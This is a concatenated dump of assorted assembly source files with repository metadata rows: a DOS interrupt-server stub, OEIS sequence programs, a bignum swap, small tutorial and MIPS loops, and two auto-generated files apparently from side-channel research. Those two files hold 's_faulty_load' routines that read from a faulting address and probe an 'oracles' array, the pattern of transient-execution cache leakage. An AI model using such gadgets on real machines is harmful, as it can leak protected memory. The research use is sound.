37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 52.846154 | 2,999 | 0.660428 |
8073d2f9498ce38910292ca14c0889dbb33d8332 | 519 | asm | Assembly | source/jni/u2/dis/dis.asm | Falken42/SecondReality | b998d193a066523cb4ca2b86c8041bea1bddfcb4 | [
"Unlicense"
] | 9 | 2015-05-13T21:02:00.000Z | 2018-04-15T16:32:27.000Z | source/jni/u2/dis/dis.asm | falken42/SecondReality | b998d193a066523cb4ca2b86c8041bea1bddfcb4 | [
"Unlicense"
] | null | null | null | source/jni/u2/dis/dis.asm | falken42/SecondReality | b998d193a066523cb4ca2b86c8041bea1bddfcb4 | [
"Unlicense"
] | null | null | null | code SEGMENT para public 'CODE'
ASSUME cs:code
rtext: db 13,10
db 'Demo Int Server (DIS) V1.0 Copyright (C) 1993 The Future Crew',13,10
include disdate.inc
db 13,10,'Installed (int fc).',13,10
db "NOTE: This DIS server doesn't support copper or music syncronization!",13,10
db '$',26
rstart: mov ax,cs
mov ds,ax
mov dx,OFFSET rtext
mov ah,9
int 21h
call dis_setint
mov ax,3100h
mov dx,(rend-rstart+600)/16
int 21h
include disint.asm
rend LABEL BYTE
code ENDS
END rstart
| 19.961538 | 82 | 0.678227 |
98e105ec102211288cf81094b9ad2dbabe8854a7 | 380 | asm | Assembly | programs/oeis/341/A341301.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/341/A341301.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/341/A341301.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A341301: Ceiling(n^2-7*n/3+19/3).
; 5,6,9,13,20,29,39,52,67,83,102,123,145,170,197,225,256,289,323,360,399,439,482,527,573,622,673,725,780,837,895,956,1019,1083,1150,1219,1289,1362,1437,1513,1592,1673,1755,1840,1927,2015,2106,2199,2293,2390,2489,2589,2692
mov $1,$0
mul $0,2
pow $1,2
mov $3,$0
div $3,6
sub $1,$3
mov $2,3
mov $4,2
lpb $2,1
add $1,$4
sub $2,$2
lpe
add $1,3
| 22.352941 | 221 | 0.663158 |
828b249f2d8c943d114f99c8b223909e0ff45f23 | 230 | asm | Assembly | C vs Assembly/power.asm | zakarialaoui10/HIGH-TO-LOW | 6fba545110b1188e1afc72c414fbf4f48f780070 | [
"MIT"
] | 18 | 2021-07-21T11:01:04.000Z | 2022-01-19T03:38:41.000Z | C vs Assembly/power.asm | zakarialaoui10/HIGH-TO-LOW | 6fba545110b1188e1afc72c414fbf4f48f780070 | [
"MIT"
] | null | null | null | C vs Assembly/power.asm | zakarialaoui10/HIGH-TO-LOW | 6fba545110b1188e1afc72c414fbf4f48f780070 | [
"MIT"
] | 1 | 2021-06-25T19:48:30.000Z | 2021-06-25T19:48:30.000Z | read_x:li $v0,5
syscall
la $s0,($v0)
read_n:li $v0,5
syscall
la $s1,($v0)
li $s2,1 #p
li $t0,0
loop:
beq $t0,3,print
mult $s2,$s0
mflo $s2
addi $t0,$t0,1
j loop
print:
li $v0,1
move $a0,$s2
syscall
| 12.105263 | 19 | 0.552174 |
cf43fbc2f582aad99656d5326d188f96b8de74f3 | 340 | asm | Assembly | BigNum/Mod/Base/bnXchg.asm | FloydZ/Crypto-Hash | 2635450fb16d4d8dc4578d6539cc25ce599f7e21 | [
"MIT"
] | 11 | 2015-03-17T10:31:23.000Z | 2022-01-21T17:42:43.000Z | BigNum/Mod/Base/bnXchg.asm | 0xFF1E071F/Crypto-Hash | 2635450fb16d4d8dc4578d6539cc25ce599f7e21 | [
"MIT"
] | null | null | null | BigNum/Mod/Base/bnXchg.asm | 0xFF1E071F/Crypto-Hash | 2635450fb16d4d8dc4578d6539cc25ce599f7e21 | [
"MIT"
] | 6 | 2018-01-29T16:06:36.000Z | 2021-05-08T19:22:24.000Z | .686
.model flat,stdcall
option casemap:none
include .\bnlib.inc
include .\bignum.inc
.code
bnXchg proc uses esi edi bnX:DWORD,bnY:DWORD
mov ecx,BN_ALLOC_BYTES
mov edi,bnX
sub ecx,4
mov esi,bnY
.repeat
mov eax,[esi+ecx]
mov edx,[edi+ecx]
mov [edi+ecx],eax
mov [esi+ecx],edx
sub ecx,4
.until sign?
ret
bnXchg endp
end
| 13.076923 | 44 | 0.7 |
6d0290aa9371bb5bafa3c8f119d84160157469f4 | 1,937 | asm | Assembly | src/stars.asm | IGJoshua/assembly-sandbox | d9b8f0b9da6a18ab453152eff8ea25729eb10c98 | [
"MIT"
] | 1 | 2022-01-22T09:02:34.000Z | 2022-01-22T09:02:34.000Z | src/stars.asm | IGJoshua/assembly-sandbox | d9b8f0b9da6a18ab453152eff8ea25729eb10c98 | [
"MIT"
] | null | null | null | src/stars.asm | IGJoshua/assembly-sandbox | d9b8f0b9da6a18ab453152eff8ea25729eb10c98 | [
"MIT"
] | null | null | null | ;;; stars.asm
;;; Taken from the nasm tutorial https://cs.lmu.edu/~ray/notes/nasmtutorial/
; ----------------------------------------------------------------------------------------
; Adapted from an OSX console program that writes a little triangle of asterisks
; to standard output. Runs on macOS only.
;
; nasm -fmacho64 triangle.asm && gcc hola.o && ./a.out
; ----------------------------------------------------------------------------------------
global _start
section .text
_start:
mov rdx, output ; rdx holds address of the next byte to write
mov r8, 1 ; initial line length
mov r9, 0 ; number of stars written so far
line:
mov byte [rdx], '*' ; write a single star
inc rdx ; advance pointer to the next cell to write
inc r9 ; we've written one more star
cmp r9, r8 ; check if we've gotten to the correct number of stars
jne line ; jump if we need to write more
lineDone:
mov byte [rdx], 10 ; write a newline
inc rdx ; advance the pointer
inc r8 ; next line will be a char longer
mov r9, 0 ; we've not written any stars in the next line yet
cmp r8, maxlines ; check if we've finished the last line
jng line ; if not, write the next line
done:
mov rax, 1 ; write syscall
mov rdi, 1 ; write to stdout
mov rsi, output ; write from the output
mov rdx, dataSize ; write the correct number of bytes
syscall ; invoke write()
mov rax, 60 ; exit syscall
mov rdi, 0 ; exit code 0
syscall ; invoke exit()
section .bss
maxlines equ 8
dataSize equ 44
output: resb dataSize
| 42.108696 | 90 | 0.486319 |
10a4f008384500ea81e7438e292cfc2e525c124e | 8,044 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_328.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_328.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_328.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x4d7c, %rbx
nop
xor $10791, %r9
mov (%rbx), %cx
nop
nop
and $49611, %r10
lea addresses_normal_ht+0x4d40, %rsi
lea addresses_D_ht+0x130c8, %rdi
nop
cmp %rbx, %rbx
mov $114, %rcx
rep movsw
nop
nop
nop
xor %rcx, %rcx
lea addresses_A_ht+0xe0cc, %rsi
nop
nop
nop
xor $60490, %r11
movl $0x61626364, (%rsi)
nop
nop
add $23496, %r11
lea addresses_WT_ht+0x4f90, %rsi
lea addresses_WT_ht+0x8048, %rdi
nop
nop
nop
nop
xor %rbp, %rbp
mov $79, %rcx
rep movsw
xor $62417, %rsi
lea addresses_UC_ht+0x16a44, %rsi
clflush (%rsi)
nop
nop
nop
xor $60077, %r9
movl $0x61626364, (%rsi)
nop
nop
inc %rdi
lea addresses_normal_ht+0x1ba48, %rcx
nop
cmp $1585, %rsi
movl $0x61626364, (%rcx)
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_normal_ht+0xfe4e, %r9
clflush (%r9)
nop
nop
nop
nop
nop
add %rdi, %rdi
mov (%r9), %rbp
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_UC_ht+0x16b48, %rcx
nop
nop
nop
nop
sub $33438, %r11
movb (%rcx), %bl
nop
xor $50405, %r10
lea addresses_WT_ht+0x78f4, %rbx
nop
nop
dec %rsi
movb (%rbx), %r9b
dec %rbx
lea addresses_normal_ht+0x1c8c8, %rbp
nop
nop
nop
nop
sub %rbx, %rbx
movb $0x61, (%rbp)
add $31228, %r9
lea addresses_A_ht+0x19c04, %rdi
nop
nop
nop
nop
nop
add $17183, %rsi
mov $0x6162636465666768, %r9
movq %r9, (%rdi)
nop
nop
nop
nop
xor $33915, %r9
lea addresses_WT_ht+0xc990, %rbx
nop
nop
sub $26765, %r9
movups (%rbx), %xmm4
vpextrq $1, %xmm4, %rbp
nop
nop
nop
nop
nop
xor $34416, %rdi
lea addresses_normal_ht+0x9e22, %rbx
nop
nop
xor $40907, %r11
movw $0x6162, (%rbx)
nop
nop
cmp %r10, %r10
lea addresses_UC_ht+0x13fe7, %rbp
clflush (%rbp)
nop
nop
nop
nop
nop
sub $14655, %rdi
mov (%rbp), %r11
nop
sub $22869, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r9
push %rbx
push %rcx
push %rdx
push %rsi
// Store
lea addresses_A+0x181e0, %r14
clflush (%r14)
nop
nop
nop
nop
nop
xor $26150, %r10
movb $0x51, (%r14)
nop
nop
nop
xor %rsi, %rsi
// Load
lea addresses_D+0x6064, %rcx
and $13860, %rdx
mov (%rcx), %rsi
sub %rsi, %rsi
// Store
lea addresses_WC+0x1d248, %rsi
nop
nop
nop
nop
nop
xor $12793, %rdx
movl $0x51525354, (%rsi)
nop
xor $4913, %rcx
// Faulty Load
lea addresses_D+0x1b248, %rdx
clflush (%rdx)
nop
xor %rsi, %rsi
mov (%rdx), %r14d
lea oracles, %rdx
and $0xff, %r14
shlq $12, %r14
mov (%rdx,%r14,1), %r14
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': True, 'size': 8, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 32.566802 | 2,999 | 0.652163 |
dd5d94224b3b2226b8341d0686c7a1c486251782 | 6,350 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_451.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_451.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_451.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x43ef, %r14
nop
nop
nop
nop
nop
xor %rax, %rax
movb $0x61, (%r14)
nop
nop
nop
xor %r9, %r9
lea addresses_UC_ht+0x12527, %r13
nop
nop
and $56503, %rbx
movb (%r13), %r11b
cmp %r14, %r14
lea addresses_D_ht+0xf8ff, %r9
nop
nop
sub %rsi, %rsi
movw $0x6162, (%r9)
nop
nop
and %r11, %r11
lea addresses_UC_ht+0x19f6a, %rax
nop
nop
nop
cmp %r11, %r11
mov (%rax), %r13w
nop
nop
nop
nop
sub %rax, %rax
lea addresses_D_ht+0x1b67, %rsi
lea addresses_A_ht+0x1766f, %rdi
nop
nop
add $3418, %rbx
mov $31, %rcx
rep movsw
nop
nop
sub $43320, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rsi
// Store
lea addresses_UC+0x139ef, %r15
cmp $60858, %r13
mov $0x5152535455565758, %r14
movq %r14, (%r15)
nop
nop
nop
cmp $18485, %r14
// REPMOV
lea addresses_RW+0x4550, %rsi
lea addresses_UC+0x89ef, %rdi
cmp %r8, %r8
mov $88, %rcx
rep movsw
nop
sub $24891, %rsi
// Store
lea addresses_UC+0x1d7ef, %rdi
nop
xor $59992, %r15
movb $0x51, (%rdi)
nop
nop
nop
nop
cmp %rcx, %rcx
// Store
lea addresses_WT+0x543d, %r12
nop
nop
nop
nop
add $27618, %r13
movl $0x51525354, (%r12)
nop
nop
nop
nop
and $8054, %r10
// Store
lea addresses_PSE+0x1b0cf, %rdi
clflush (%rdi)
nop
nop
dec %r14
movb $0x51, (%rdi)
nop
nop
nop
dec %r13
// Faulty Load
lea addresses_D+0xa1ef, %rsi
sub %r10, %r10
mov (%rsi), %rcx
lea oracles, %r15
and $0xff, %rcx
shlq $12, %rcx
mov (%r15,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_RW'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 5}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 35.875706 | 2,999 | 0.652441 |
77d0ba9e7419a90ffb043d9c08dc56715870a77b | 263 | asm | Assembly | programs/oeis/016/A016921.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/016/A016921.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/016/A016921.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A016921: a(n) = 6*n + 1.
; 1,7,13,19,25,31,37,43,49,55,61,67,73,79,85,91,97,103,109,115,121,127,133,139,145,151,157,163,169,175,181,187,193,199,205,211,217,223,229,235,241,247,253,259,265,271,277,283,289,295,301,307,313,319,325,331
mov $1,$0
mul $1,6
add $1,1
| 37.571429 | 206 | 0.669202 |
9ef432748a38ade4fe50c630a6011b6dae577267 | 778 | asm | Assembly | programs/oeis/075/A075325.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/075/A075325.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/075/A075325.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
